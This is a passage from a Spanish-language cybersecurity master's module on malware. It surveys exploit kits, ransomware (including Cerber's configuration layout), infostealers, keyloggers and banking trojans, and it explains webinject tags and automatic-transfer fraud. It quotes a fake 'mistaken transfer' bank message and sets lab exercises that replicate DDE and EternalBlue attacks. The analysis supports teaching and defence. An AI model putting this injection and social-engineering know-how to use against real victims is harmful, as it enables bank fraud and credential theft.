Existen multitud de variantes de Exploit-kits, entre las que destacan:
Rig EK: https://www.malware-traffic-analysis.net/2017/08/01/index.html (1 de agosto de

2017) y https://malware-traffic-analysis.net/2017/12/28/index.html (28 de diciembre de
2017).
Angler EK.
Magnitude EK: https://www.malware-traffic-analysis.net/2017/08/04/index.html (4 de

agosto de 2017).
Este vector de entrada, aunque sigue activo, cada vez es menos frecuente, dando paso al uso
de TDS para la distribución activa de campañas, lo cual se detalla en el punto específico
sobre TDS (Traffic Director System ) de este máster.
Dispositivos externos
Este punto quedará explicado más adelante.
Malware as a Service
Por último, cabe mencionar uno de los vectores de entrada más importantes en las campañas de
malware, el MaaS ( Malware as a Service), aunque este se detallará en profundidad más adelante
debido a que se debe conocer la estructura y tipología de las distintas familias de malware para poder
abordarlo.
Actividades de reflexión
19/104
Malware
Realizar una prueba de concepto de la explotación de DDE.

Replicar el ataque de EternalBlue+DoublePulsar (se necesitarán tres máquinas
virtuales en local, dos SO Win y un SO Linux).
IV. Tipologías
Existen distintos tipos de malware que utilizan los atacantes, todos ellos con distintos
objetivos, funcionamiento, complejidad, etc.
A continuación, procedemos a introducir los tipos más comunes en la actualidad con el fin de
conocer a qué tipo de amenazas nos podemos enfrentar.
4.1. Ransomware
Esta tipología de malware se dio a conocer notablemente con la aparición de CryptoLocker, una
familia de ransomware que comenzó a ser distribuida en 2013.
El objetivo de estos tipos de malware es obtener beneficio económico tras solicitar una cuantía por
recuperar los ficheros “secuestrados”, es decir, cifrados.
Ficheros cifrados por un ransomware
Imagen 5.23. Ficheros cifrados por un ransomware.

20/104
Malware
Mensaje depositado por el ransomware tras el "secuestro" de archivos
Imagen 5.24. Mensaje depositado por el ransomware tras el "secuestro" de archivos.

21/104
Malware
Anotación: Un ransomware funciona de la siguiente manera
1. Infecta la máquina del usuario, convirtiéndola en un bot.

2. E l ransomware lista los ficheros contenidos en la máquina infectada para,
posteriormente, proceder al cifrado una vez que se le indique.
3. Siguiendo los pasos del fichero de configuración, cifra los archivos deseados mediante
una clave pública normalmente contenida en el propio código del binario.
4. Contacta con el servidor indicado en su fichero de configuración para informar de la
infección.
5. Deposita en el equipo una nota de rescate donde indica los pasos que hay que realizar
para proceder al pago del rescate.
6. Si el pago se realiza, el atacante facilita una herramienta con la clave privada para
realizar el descifrado de archivos.
Imagen 5.25. Pasos genéricos realizados por un ransomware.

Dependiendo de la familia de ransomware, existen unas técnicas y funcionamientos distintos; no

obstante, existen funcionalidades que se utilizan en la mayoría de ellos. El ransomware, tras ser
ejecutado en una máquina, realiza una serie de comprobaciones que se definen en su fichero de
configuración, que es distinto no solo en cada familia, sino también en cada campaña, aunque sea la
misma variante.
A continuación, se muestra un fichero de configuración completo de un ransomware de la

familia Cerber que se irá comentando en cada función
22/104
Malware
En primer lugar, se muestra un diccionario denominado blacklist que contiene varias

indicaciones que hay que tener en cuenta para dejar intactos una serie de archivos:
Extensiones.
Archivos.
Directorios.
Idiomas.
Esto se realiza debido a que, si se cifrasen todos los ficheros de un sistema, este quedaría
inoperativo, imposibilitando, por tanto, la visualización del mensaje de descifrado, la navegación,
etc. Por otro lado, también hay ficheros que no conviene bloquear, como son los monederos de
Bitcoin, ya que, si esto sucede, la víctima se quedaría sin poder realizar el pago.
Extensiones de ficheros que no serán cifrados
Imagen 5.26. Extensiones de ficheros que no serán cifrados.

Ficheros que no serán cifrados
Imagen 5.27. Ficheros que no serán cifrados.

Directorios cuyo contenido no será cifrado
Imagen 5.28. Directorios cuyo contenido no serán cifrados.

23/104
Malware
Idiomas que, en caso de ser utilizados por el SO, cortarán el proceso de cifrado
Imagen 5.29. Idiomas que, en caso de ser utilizados por el SO, cortarán el proceso de cifrado.
Esta última captura de pantalla es curiosa, dado que muchas familias de malware incorporan
funciones que, en caso de detectar que está siendo ejecutado en una máquina cuyo sistema
operativo está en idioma de algún país del Este de Europa, no continuará con sus acciones.
“1049:ruso, 1058:ucraniano, 1059:bielorruso, 1067:armenio, etc.” (https://www.science.

co.il/language/Locale-codes.php)
Esto se debe, posiblemente, a que la mayoría de creaciones de malware provienen de dichos

países, lo que implica que los actores no quieran afectar a sus compatriotas.
El siguiente diccionario realiza una comprobación de las listas del diccionario blacklist que
deberá tener en cuenta.
Imagen 5.30. Comprobación de la lista "language".

A continuación, encontramos el diccionario default que define los dominios de los servidores
que se utilizarán para el mensaje de descifrado, así como la dirección del monedero para realizar el
pago.
Imagen 5.31. Dominios y wallet.

24/104
Malware
El siguiente diccionario indica las extensiones de los ficheros que va a cifrar, así como el check
de la realización de la acción y algunas indicaciones que hay que tener en cuenta para ello.
Imagen 5.32. Indicaciones del cifrado I.

Imagen 5.33. Indicaciones del cifrado II.

La global_public_key es la que define la clave pública que se utilizará para realizar el cifrado de
los archivos.
Imagen 5.34. Clave pública definida.

25/104
Malware
El diccionario help_files indica el contenido y nombre de los ficheros que depositará con el
mensaje del rescate. Alguna parte la muestra codificada en base64, otra en texto plano.
Imagen 5.35. Contenido del fichero del mensaje del secuestro codificado en base64.
Imagen 5.36. Extensión y nombre del fichero del mensaje del secuestro.
El diccionario servers indica los pasos que hay que seguir respecto a la comunicación, indicando,
por ejemplo, los servidores C&C, puertos utilizados, etc.
Imagen 5.37. Diccionario con indicaciones de red.

26/104
Malware
El diccionario wallpaper indica el contenido de la información que se mostrará como fondo de

pantalla tras la infección del equipo.
Imagen 5.38. Contenido del wallpaper.

Este fichero de configuración, como se puede apreciar, indica todos los datos que hay que considerar
para las acciones que hay que realizar por parte del ransomware.
Otra funcionalidad que hay que tener en cuenta es la del cifrado de archivos
incluidos en dispositivos externos.
27/104
Malware
La mayoría de ransomware añade la funcionalidad de cifrar los archivos en todos los dispositivos
sobre los que se tengan permisos de escritura.
La siguiente figura trata de ayudar a comprender esta situación.
Ejemplo de cifrado de ficheros de dispositivos conectados
Imagen 5.39. Ejemplo de cifrado de ficheros de dispositivos conectados.

En la figura anterior, se muestra cómo un ransomware infecta la máquina de un usuario a la que

está conectada un dispositivo externo en modo escritura, lo que significa que los archivos de dicho
dispositivo externo serán cifrados.
Existe, asimismo, un recurso compartido que se encuentra mapeado en la máquina del usuario, con
modo escritura, lo que significa que los archivos contenidos también serán cifrados.
28/104
Malware
Por otro lado, hay dos máquinas que también tienen acceso a dicho recurso, una directamente y otra
a través de un servidor. Dado que la máquina infectada no tiene acceso directo a las nuevas máquinas
y mucho menos con privilegios de escritura, estas no sufrirán el cifrado de sus archivos.
Algo también relevante en cuanto a los ransomware es la funcionalidad del cifrado de archivos
mediante una clave.
Aunque hace años los ficheros cifrados por algunas familias de ransomware podían ser descifrados
de forma manual (tras mucho trabajo de análisis), las familias que existen en la actualidad no tienen
este fallo, lo que imposibilita en la mayoría de los casos poder descifrar los archivos si no es
realizando el pago (lo cual nunca es recomendable, dado que es una financiación a estos grupos).
Normalmente, el cifrado de archivos se realiza mediante el juego de clave pública y clave privada, es
decir, clave asimétrica.
Dicho esto, podrían crearse tres tipologías de ransomware distintas:
Clave privada contenida en el código del binario
En estos casos, tras realizar el reversing completo del malware, podría obtenerse la función de
descifrado, además de la clave privada que se necesita.
Se pueden descifrar los ficheros manualmente.
Clave privada alojada en el servidor C&C
En estos casos, aunque en algunas ocasiones se pueda obtener la función de descifrado tras el
reversing del malware, la clave privada se encuentra guardada en el servidor C&C utilizado por el
atacante, por lo que la única posibilidad de obtenerla es romper la comunicación o acceder de manera
ilegítima al servidor.
Como norma general, no se puede descifrar, a no ser que se obtenga la clave privada del servidor.
29/104
Malware
Clave privada alojada por el atacante en un lugar desconocido
En estos casos, por mucho que se disponga de la función de descifrado, se desconoce la ubicación
de la clave privada, por lo que no existe manera de obtenerla.
Imagen 5.40. Contacto con el atacante tras el cifrado de los archivos.

No se puede descifrar manualmente.
Imagen 5.41. Tipologías de ransomware según la ubicación de la clave privada.

Aunque existen un sinfín de familias de malware, hay algunas que merecen ser mencionadas por la
relevancia que tuvieron en su momento o tienen actualmente.
30/104
Malware
CryptoLocker
Es importante incluir CryptoLocker, ya que fue la familia que consiguió poner a la amenaza de
ransomware al frente de los ataques de malware.
Imagen 5.42. Mensaje de descifrado del ransomware Cryptolocker.

TorrentLocker
También conocido como CryptoLocker. TorrentLocker ha sido utilizado en múltiples ocasiones

para campañas masivas selectivas, como por ejemplo la de Correos mencionada anteriormente.
Aunque disponía de las claves privadas en los servidores C&C, en algunas ocasiones fue posible su
descifrado manual, ya que las claves fueron conseguidas.
Imagen 5.43. Mensaje de descifrado del ransomware TorrentLocker.

31/104
Malware
Petya
Fue un ransomware que cambió el formato típico utilizado hasta la fecha, ya que no les bastó a sus
creadores con el cifrado de los archivos, sino que también modificaban la MBR del sistema,
imposibilitando el acceso a la máquina.
Imagen 5.44. Pantalla mostrada tras la infección por parte de Petya I.

Imagen 5.45. Pantalla mostrada tras la infección por parte de Petya II.
32/104
Malware
Cerber
Fue un ransomware muy activo durante años, pero a día de hoy hay pocas campañas de
distribución. Este malware, además de por su éxito, se caracterizó por los rangos de direcciones IP
utilizados como C&C (/27, /22, /16…), realizando conexiones UDP al puerto 6893 en casi todas sus
campañas.
Imagen 5.46. Configuración de la comunicación con los servidores C&C del ransomware Cerber.
Imagen 5.47. Mensaje de descifrado mostrado por el ransomware Cerber.

33/104
Malware
Dharma (variante de “Crysis”)
Aunque el ransomware Dharma como tal es bastante sencillo, sin ninguna peculiaridad, el impacto
que está teniendo actualmente debido a su método de distribución y explotación de malas
configuraciones en el servicio RDP es muy grande.
Imagen 5.48. Login exitoso vía RDP.

Imagen 5.49. Mensaje de descifrado mostrado por el ransomware Dharma.

34/104
Malware
Locky
E l ransomware Locky es el más profesional, en cuanto a su código se refiere, hasta la fecha.

Además de incorporar siempre nuevas funcionalidades y estar a la cabeza de la innovación en estos
tipos de malware, también lo ha estado en cuanto a la distribución, comunicación con servidores, etc.
Se conoce que, posiblemente, este ransomware está programado por el mismo grupo que los creadores
del troyano bancario Dridex. Este ransomware, gracias a su ofuscación, era capaz de pasar
desapercibido durante horas, e incluso días, por las casas de antivirus.
Imagen 5.50. Mensaje de descifrado del ransomware Locky I.

Imagen 5.51. Mensaje de descifrado del ransomware Locky II.

35/104
Malware
WanaCry
Este ransomware ha sido el más mediático hasta la fecha debido al impacto que supuso a causa de
su propagación, utilizando para ello el pack de EternalBlue+DoublePulsar para la explotación. Por
otro lado, también tuvo una curiosidad, que fue la del uso de un killswitch a través del cual se podía
detener el proceso de cifrado de los archivos, algo que no permitió a los atacantes obtener tanto
beneficio como hubiesen querido.
Imagen 5.52. Ficheros cifrados por WanaCry.

Imagen 5.53. Propagación con EternalBlue+DoublePulsar.

4.2. InfoStealer
Esta tipología de malware, aunque en el mundo de la ciberseguridad está un poco infravalorada en
ciertas ocasiones, es una amenaza muy compleja que es capaz de obtener muchísima información de los
equipos infectados, además de mantenerse activa durante más tiempo que un ransomware o un banker.
Además, a la hora de la distribución, el número de campañas, muestras y servidores nuevos que se

utilizan es mucho mayor que en cualquier otra tipología.
36/104
Malware
Imagen 5.54. Eventos generados para nuevas campañas detectadas.

El objetivo de estos tipos de malware es obtener datos sensibles de la máquina infectada, siendo
dirigido normalmente al robo de credenciales de correos electrónicos, FTP, wallets, gestores de
contraseña, etc.
Anotación: Un InfoStealer funciona de la siguiente manera

2. Se oculta para no ser detectado por el usuario ni herramientas de seguridad.
3. Crea una tarea de persistencia para mantener la infección tras el apagado del equipo.
4. Se mantiene a la escucha de los procesos realizados en la máquina, recogiendo la
información de los servicios que tenga definido en su código.
5. Cada cierto período, envía la información obtenida al servidor C&C.
37/104
Malware
Al contrario que en los ransomware, esta tipología de malware no suele disponer de un fichero de
configuración dinámico, sino que, ya sea en el servidor o en su propio código (normalmente viene
integrado en el builder), dispone de módulos que contienen las funciones de robo de información para
cada servicio.
Imagen 5.55. Ejemplo de módulos utilizados por InfoStealer.

Dado que estos troyanos suelen venderse por un precio muy bajo en distintos foros fácilmente
accesibles y, en otras ocasiones, incluso el código se encuentra público, la distribución suele realizarse
por grupos profesionales y, en muchas ocasiones, se realizan por usuarios inexpertos, que dejan la
estructura visible, rastros de su creación, etc.
Imagen 5.56. Panel de InfoStealer LokiBot, accesible tras el listado del directorio.
Respecto al robo de información, los InfoStealer utilizan múltiples técnicas para ello, como son:
38/104
Malware
Keystrokes
A través de las pulsaciones de teclado, el malware es capaz de obtener la información introducida

en los sitios web que monitoriza.
Screenshots
Otra de las funcionalidades que suelen incorporar los InfoStealer es la capacidad para realizar
capturas de pantalla en los sitios web deseados, con el fin de obtener los datos introducidos en
teclados virtuales, por ejemplo.
MitM O MitB
Otra capacidad es la de capturar los paquetes de red, obteniendo así directamente la información
enviada al acceder a los sitios web que monitoriza.
A la hora de identificar una descarga de un InfoStealer o la presencia de este en una máquina, si

hablamos en labores de un analista, es algo relativamente fácil ya que, al igual que comentábamos que
los usuarios inexpertos suelen dejar rastros o fallos de configuración en la distribución, también suelen
mantener la misma estructura en las conexiones, mutex, claves de registro, directorios, etc.
Aunque existe un gran número de familias de InfoStealer, muchas de ellas muy conocidas,
actualmente hay dos familias que prácticamente copan todo el mercado:
Pony
Este InfoStealer es el más conocido hasta el momento, debido a los años que lleva en actividad, el
impacto que tiene y la gran comercialización de la que dispone, no solo siendo distribuido en
campañas únicas, sino siendo incluido en paquetes de distribución en conjunto, como por ejemplo el
actual “Hancitor > Pony > Evilpony > PandaBanker” (http://www.malware-traffic-analysis.net/2018/0
4/11/index2.html).
39/104
Malware
Imagen 5.57. Campaña de distribución de Hancitor > Pony > Evilpony > PandaBanker
Como mencionábamos anteriormente, la distribución de esta familia suele realizarse por usuarios
inexpertos, que dejan al descubierto, entre otras cosas, el contenido del directorio en el servidor
comprometido o, incluso a veces, mantienen el nombre del malware en el propio path del directorio.
Imagen 5.58. Estructura del directorio abierto en el servidor comprometido.

40/104
Malware
Imagen 5.59. Estructura del directorio abierto en un servidor comprometido utilizando el path
"pony".
Imagen 5.60. Panel estándar de un Pony.

Dentro de su código, hay un módulo llamado “password_modules.php”, que es el que contiene

todos los servicios y funcionalidades para el robo de información sensible.
Imagen 5.61. Estructura del código de Pony.

41/104
Malware
Imagen 5.62. Módulo "password_modules.php" de Pony.

LokiBot
LokiBot, que comparte su nombre con un troyano bancario creado para la plataforma Android, es el
InfoStealer que, en estos momentos, tiene mayor presencia tanto en el mercado de venta underground,
como en su actividad.
Se trata de un malware modular que tiene el código algo más estructurado que Pony, pero que tiene
unas funcionalidades muy similares.
Al igual que cuando hablábamos de Pony, los usuarios que distribuyen este malware suelen ser, por
lo general, inexpertos, dejando directorios abiertos, no eliminando el kit comprimido del malware del
servidor comprometido y no modificando las rutas estándar del builder.
Imagen 5.63. Panel de LokiBot.

42/104
Malware
Dentro de su código, hay un directorio llamado “pass_modules”, que es el que contiene todos los
módulos con los servicios y funcionalidades para el robo de información sensible. En el mismo
directorio donde se encuentra “pass_modules”, hay otros módulos como “wallet.class.php” y
“worker.class.php”.
Imagen 5.64. Directorio donde se incluyen los módulos wallet y worker.

Imagen 5.65. Directorio "pass_modules" con todos los módulos contenidos.

Una última particularidad dentro de este malware es el uso, por defecto, del User-Agent
“Mozilla/4.08 (Charon; Inferno)”, algo que permite reconocer fácilmente tráfico relacionado con esta
familia.
4.3. Keylogger
Aunque a día de hoy han perdido mucha relevancia, ya que la mayoría de InfoStealer incluyen
funcionalidades de keystroke, hubo una época en la que los malware de tipo keylogger presentaban
mucha actividad, debido a la gran cantidad de información que obtenían y la rapidez de robo.
Como su propio nombre indica, el objetivo de esta tipología es guardar todas las pulsaciones de
teclado, además de dónde se realizan.
43/104
Malware
Anotación: Un keylogger funciona de la siguiente manera

4. Obtiene todas las pulsaciones y accesos realizados en todo momento en el equipo
infectado.
5. Cada cierto período, envía la información obtenida al servidor C&C.
Puesto que no es una tipología muy activa en la actualidad, no vamos a entrar en detalle en ella, ya
que podría prácticamente repetirse muchos de los puntos anteriores.
Una de las familias más conocidas de esta tipología fue Predator Pain. Esta familia, activa desde
2013, fue distribuida de forma masiva en múltiples campañas, afectando tanto a usuarios como a
grandes compañías. También se distribuyó a través de dispositivos externos, algo más habitual en otra
época.
Imagen 5.66. Distribución vía USB.

Entre sus funcionalidades se incluían el robo de información de servicios, keystroke y screenshots.

Además, utilizaba herramientas que no eran propias, sino que pertenecían a NirSoft, Affixiate, etc.
(WebBrowserPassView, MailPassView, etc.).
Creaba siempre 2 ficheros, llamados “pid.txt” y “pidloc.txt”, que contenían el PID del proceso
activo y el path donde se guardaba el ejecutable.
Toda la información que obtenía de los módulos de robo de información, la iba guardando en los
ficheros “holdermail” y “holderweb” para ser enviada, normalmente por correo, al atacante.
44/104
Malware
El resto de información, obtenida del módulo de keylogging, se iba guardando cada cierto periodo
en un ZIP en la carpeta %TEMP%, para ser enviado directamente al servidor C&C del atacante.
Estos troyanos, también se vendían completamente en mercados underground, por lo que disponían
de una aplicación builder para generar el binario con toda la estructura correspondiente.
Imagen 5.67. Panel de builder de Predator Pain.

4.4. Banker
Esta tipología de malware es una de las más activas actualmente, además de ser la que contiene varios
de los códigos más profesionales, con más técnicas e innovación constante.
El objetivo de estos tipos de malware es obtener credenciales de acceso de usuarios a las entidades
financieras, realizar transferencias de forma automática, etc.
45/104
Malware
Anotación: Un Banker funciona de la siguiente manera

4. Descarga su fichero de configuración para poder realizar los siguientes pasos.
5. Monitoriza la navegación del usuario con el fin de actuar si accede a alguno de los
sitios web objetivo indicados en el fichero de configuración.
6. A través de distintas técnicas (redirección, MitB, MitM, inyección, etc.) obtiene las
credenciales de acceso al sitio web.
7. Inyecta código en el navegador del usuario para obtener los métodos para saltarse el
multifactor de acceso o realizar transferencias desde su propia cuenta bancaria,
interactuando con él.
Imagen 5.68. Pasos genéricos de un Banker I.

Imagen 5.69. Pasos genéricos de un Banker II.

46/104
Malware
Dependiendo de la familia de B anker, existen unas técnicas y funcionamientos distintos, no

obstante, existen funcionalidades que se utilizan en la mayoría de ellos. El Banker, tras ser ejecutado
en una máquina, se oculta y crea una tarea de persistencia, ya sea mediante clave de registro, tarea
programada de Windows, etc., ya que su objetivo es realizar el menor ruido posible para mantenerse
siempre a la escucha de las acciones del usuario, ya que no podrá realizar ninguna acción hasta que
este acceda a alguno de los sitios web a los que el ataque está dirigido.
Imagen 5.70. Tarea de persistencia creada por un malware bancario.

Imagen 5.71. Clave de registro creada para la persistencia.

Una vez que se encuentra asentado en el sistema operativo, el siguiente paso de todo troyano
bancario es realizar la descarga del fichero de configuración ya que, sin éste, no podrá continuar con
la infección.
Este fichero de configuración, al igual que sucede en los ransomware, aunque en este caso con
mucha más relevancia, varía totalmente dependiendo de la familia, de la campaña e incluso a veces
una misma muestra es capaz de realizar la descarga de un fichero de configuración u otro, según
dónde se encuentre o el momento en que contacte con el servidor C&C.
47/104
Malware
Imagen 5.72. Fragmento del fichero de configuración de un troyano bancario I.

Imagen 5.73. Fragmento del fichero de configuración de un troyano bancario II.

Aunque cada fichero de configuración es distinto, existen unos patrones comunes en la mayoría de
ellos.
Imagen 5.74. Estructura básica de un fichero de configuración.

48/104
Malware
set_url
Esta etiqueta, aunque no siempre se refleja en los ficheros de configuración, es la que indica la
string que desencadenará la función siguiente una vez que el usuario acceda.
Por ejemplo, si en un fichero de configuración se muestra “set_url https://*gle.es”, quiere decir

que cuando un usuario infectado acceda al sitio web “https://google.es”, se activará la función que
se indique a continuación en la config .
Los caracteres G y P que se incluyen indican que se capturarán los accesos tanto GET como
POST.
Como comentábamos anteriormente, no siempre se muestra la etiqueta “set_url”, sino que puede
ser modificada por cada familia de malware.
Imagen 5.75. Muestra de un fragmento de fichero de configuración sin "set_url".

data_before
Esta etiqueta es la que indica la string tras la cual se realizará la inyección de código malicioso.
No siempre es necesaria, ya que en muchas ocasiones no se fusiona el código legítimo con el

inyectado, sino que toda la visualización se realizará sobre el propio código malicioso.
data_end
Esta etiqueta es la que indica la string donde acabará la inyección de código realizada.
Al igual que se mencionaba anteriormente, no siempre es necesaria, ya que en la mayoría de

ocasiones no se fusiona el código legítimo con el inyectado.
data_inject
Esta etiqueta es una de las más importantes, ya que define el código que se va a inyectar en el
navegador del usuario infectado.
49/104
Malware
Esto es algo muy importante de comprender, ya que el código nunca se inyecta sobre el sitio web
de la entidad, eso sería comprometer dicha compañía, sino que se realiza sobre el navegador del
usuario infectado una vez que trata de acceder a dicho sitio web, algo muy distinto.
En algunas ocasiones, como en la figura que se muestra a continuación, el código que se va a

inyectar aparece directamente en el fichero de configuración.
Imagen 5.76. Código a inyectar mostrado en el propio fichero de configuración.

Sin embargo, esto es algo poco común actualmente, ya que la cantidad de código que se va a
inyectar es muy grande, lo que provocaría un tamaño considerable en el fichero de configuración.
Para ello, se incluye dentro del propio fichero de configuración, muchas veces codificado en
base64 o con algún tipo de cifrado, una URL desde donde se realizará la descarga de dicho código.
Imagen 5.77. URL desde donde se debe realizar la descarga del código a inyectar.
Existen múltiples tipos de inyecciones en cada familia, botnet, campaña, etc.

No obstante, hay varios cánones que siguen de acuerdo al tipo de banco al
que atacan o a la seguridad que estos incorporan.
Inyección para modificar campos de Usuario y Contraseña
La inyección más antigua es la que se realiza en cierta parte del código legítimo, para modificar los
campos de Usuario y Contraseña, algo muy propio de troyanos como Zeus.
A día de hoy, este tipo de inyecciones ya no se utilizan ya que la información obtenida apenas es
útil, dado que las entidades financieras incluyen multifactores, tanto para el acceso como para las
acciones.
50/104
Malware
Imagen 5.78. inyección de código para solicitar clave de firma.

Imagen 5.79. Inyección de código simple.

El siguiente paso fue incluir más campos necesarios para el multifactor, como preguntas de
seguridad, etc., ya fuese fusionando el código malicioso con el legítimo, realizando una redirección a
un sitio web malicioso de tipo phishing, como era el caso del antiguo Dridex, o cargando un JS
completo que hiciese overlay, algo muy típico entre los troyanos bancarios de la plataforma Android o
el antiguo Ursnif.
Imagen 5.80. Fragmento de objetivos de la config de un antiguo Ursnif.

Inyecciones por Dyreza y TrickBot
Otro tipo de inyección, más enfocada a obtener credenciales de cuentas bancarias de empresas, son
los utilizados por Dyreza en su momento y TrickBot actualmente, es la de la obtención de todas las
credenciales y datos introducidos mediante MitB.
De esta forma, el malware, además de obtener las credenciales de acceso, va recogiendo todos los
datos de la tarjeta de coordenadas, algo que podría convertirse en un proceso largo, excepto si se
habla de cuentas de empresas que están realizando acciones constantemente.
51/104
Malware
Imagen 5.81. Información introducida en un sitio web tras la infección por TrickBot.
Imagen 5.82. Información extraída de la petición.

Inyección por troyanos como Tinba, Gozi o URLZONE
Otro ejemplo de inyección, mucho más compleja, es la realizada por troyanos como Tinba, Gozi o
URLZONE.
52/104
Malware
Dado que la mayoría de entidades bancarias comenzaron a introducir múltiples métodos de

detección de usuarios infectados, bloqueo de usuarios, factores de autenticación, etc., los atacantes
necesitaban ir un paso más allá y no quedarse con datos de acceso, sino tratar de que fuese el propio
usuario quien le ayudase a llevar el fraude a cabo.
¿Cómo hicieron esto? Como siempre, con ingeniería social.
En este caso, la inyección no se realizaba en la página de login, sino una vez que el usuario ya
había accedido a su cuenta.
Ya con el panel del sitio web cargado, el código inyectado conseguía mostrar un mensaje, con el
formato de cada entidad a la que afectase (imaginad el nivel de estudio realizado para ello) en el que
se mostraba una supuesta transferencia recibida por error a favor del usuario y que debía ser devuelta
de inmediato ya que, si no, no se podrían realizar acciones con dicha cuenta.
Estimado %nombre_usuario%. Hemos recibido la información de que el importe de

%cantidad_dinero% EUR ha sido ingresado a su cuenta %número_cuenta% por error. Para
obtener más información sobre la transferencia, verifique el historial de sus operaciones. Su
cuenta permanecerá restringida hasta que se finalize la devolución del dinero conforme con la
ley y la política interna del banco. El banco no tiene derecho de realizar cualquier
movimiento en su cuenta y necesita su aprobación para el retorno de los fondos. Su cuenta se
desbloqueará automáticamente después de la devolucion del importe indicado. *La comisión
por transferencia será devuelta en el transcurso de 1-2 días hábiles. Le pedimos disculpas por
las molestias que le fueron causadas. Por favor pulse "Continuar" para devolver la
transferencia.
Imagen 5.83. Mensaje de transferencia supuestamente recibida.

Este mensaje, para tratar de tener credibilidad, indicaba haber sido enviado desde alguna compañía
conocida, como, por ejemplo, Vodafone.
53/104
Malware
Imagen 5.84. Supuesto emisor de la transferencia.

Imagen 5.85. Mensaje introductorio de la supuesta transferencia.

Para dar aun más credibilidad al incidente, la inyección de código modificaba la tabla de
movimientos, añadiendo una nueva fila en la que se podía apreciar esta nueva recepción de dinero,
sumándose a lo que ya se tenía.
Una vez que el usuario decidía devolver esa supuesta transferencia y hacía clic en el botón
“Continuar” o “Devolver”, se ejecutaba una función en la que, tras una petición a un servidor, se
obtenía la cuenta mula destinataria de esta “devolución”, la cual, como analistas, debe ser identificada
tras el estudio de la inyección. Está técnica es conocida como ATS, “Automatic Transfer System”.
Imagen 5.86. Ejemplo de servidor que alojaba cuentas mula.

Imagen 5.87. Función para el pago fraudulento.

Imagen 5.88. Función de envío de transferencia.

54/104
Malware
De esta forma, cuando le solicitasen los factores de autenticación al usuario para confirmar la
transferencia, sería este mismo quien lo introduciría, dando permiso para realizar esta transferencia
fraudulenta ante su total desconocimiento.
Una vez finalizado el pago, desaparecería todo el código inyectado, visualizándose únicamente una
nueva fila en la tabla de movimientos en la que se aprecia la pérdida del dinero transferido.
Imagen 5.89. Pasos generales para una inyección con interacción del usuario.
Inyección malware como PandaBanker
Un tipo de inyección que se utiliza desde hace varios años, pero que sigue vigente hoy en día por
malware como PandaBanker, es el de combinar la inyección en el navegador con capturar el factor de
autenticación enviado al dispositivo móvil.
Esto fue algo en lo que tuvieron que trabajar los creadores de inyecciones debido a que las
entidades financieras incorporaron un factor externo a la hora de completar la autenticación y
validación de transferencias.
Para ello, además de solicitar información como la tarjeta de coordenadas, usuario, contraseña, etc.,
las inyecciones de código también mostraban campos en los que se solicitaba al usuario que
introdujese información de su dispositivo móvil, como es el sistema operativo y número de teléfono.
55/104
Malware
Imagen 5.90. Inyección de código preparada para obtener los datos de la tarjeta de coordenadas.
Imagen 5.91. Mensaje en el que se indica al usuario que existe una nueva aplicación de seguridad
para dispositivos móviles, y que elija su SO.
Imagen 5.92. Variable de elección del SO - codificada en base64.

Imagen 5.93. SO que se permite elegir al usuario en el desplegable I.

Imagen 5.94. SO que se permite elegir al usuario en el desplegable II.

Imagen 5.95. Mensaje en el que se solicita al usuario el número de teléfono.

Con todos estos datos, el atacante envía un SMS al dispositivo móvil, en el que se indicará un
enlace (acortadora) en el que debe descargar una aplicación de seguridad para trabajar con la banca,
obviamente se trata de una aplicación maliciosa.
Imagen 5.96. Instrucciones para el SMS que se recibirá en el dispositivo móvil.

De esta forma, el atacante es capaz de interceptar los códigos de seguridad enviados por la entidad
para aprobar las transacciones realizadas.
56/104
Malware
Imagen 5.97. Pasos generales para una inyección en la que se capture el SMS enviado al dispositivo
móvil.
Inyección por Dridex y GootKit
Por último, una inyección que se está llevando a cabo por troyanos bancarios muy activos en estos
momentos, como son Dridex y GootKit, es la que se desarrolla para poder bypassear la seguridad en
factores de autenticación en tokens físicos, como son los lectores de tarjeta.
Esta medida de seguridad es muy utilizada por algunas entidades de Reino Unido o LATAM por lo
que, entre las entidades financieras definidas como objetivo de estos ataques, suelen aparecer
generalmente.
En primer lugar, en estos casos se solicita las credenciales genéricas de acceso al sitio web.
Imagen 5.98. Solicitud de ID y contraseña.

Tras introducirlas, se muestra un mensaje de error a lo que continúa la solicitud de más factores de
autenticación, como las preguntas de seguridad, etc.
57/104
Malware
Imagen 5.99. Solicitud de otras opciones de autenticación.

Ya con todos estos datos, se solicita el número de tarjeta de crédito y su PIN.
Imagen 5.100. Solicitud de tarjeta de crédito y PIN.

Y, por último, para completar el último paso de la autenticación, se solicita al usuario que cargue su
lector de tarjeta, introduzca su código y PIN.
Imagen 5.101. Solicitud de opciones para el lector de tarjetas.

De esta manera, los atacantes son capaces de acceder al sitio web una vez el usuario ha introducido
los datos obtenidos del token físico y pueden llevar a cabo todas las acciones que deseen.
Todas estas inyecciones dejan ver la cantidad de personas que trabajan

detrás de estas amenazas, además de la continua mejora e innovación que
58/104
Malware
requiere, así como el estudio en profundidad de todos sus objetivos.
Entre las familias de malware bancario más destacadas actualmente están las siguientes:
Dridex
Dridex es el troyano bancario más profesional que existe hasta la fecha. Atribuido al mismo grupo
que está detrás del ransomware Locky, Dridex ha ido evolucionando constantemente, no solo en la
parte de las inyecciones, sino, sobre todo, en cuanto a técnicas anti análisis se refiere, y se ha
convertido en un malware referente en este campo, causando mucho daño en su segunda aparición en
julio de 2016.
A día de hoy, aunque sigue siendo un malware muy temido para la gran mayoría de analistas, sus
técnicas antianálisis han ido siendo bypasseadas u omitidas por algunos grupos de analistas
avanzados, permitiendo realizar el su análisis en detalle.
Su distribución se basa mayoritariamente en campañas masivas de correo electrónico, utilizando

asuntos típicos para estos fraudes como “Invoice”, “Business Card ”, “Account statement”, “Fax
message”, etc.
https://blog.trendmicro.com/trendlabs-security-intelligence/banking-trojan-dridex-uses-macros-for-i
nfection/
http://blog.dynamoo.com/2015/05/malware-spam-attn-outstanding-invoices.html
https://heimdalsecurity.com/blog/security-alert-dridex-malware-creators-deceive-victims-with-
fake-ikea-receipt/
https://myonlinesecurity.co.uk/business-card-tracey-gittens-js-malware/
https://myonlinesecurity.co.uk/dridex-delivered-via-spoofed-quickbooks-invoice-00482-imitating-r
andom-companies/
https://malware-traffic-analysis.net/2017/06/05/index.html
https://myonlinesecurity.co.uk/account-statement-pineislandweb-com-malspam-delivers-dridex-ban
king-trojan/
Además de sus técnicas anti análisis, es importante destacar la cantidad de botnets que tienen para
distintos países que afectan prácticamente a escala global.
59/104
Malware
Imagen 5.102. Ejemplo de botnets utilizadas por Dridex.

GootKit
GootKit nace de una mezcla de códigos ya existentes de otras familias de malware.
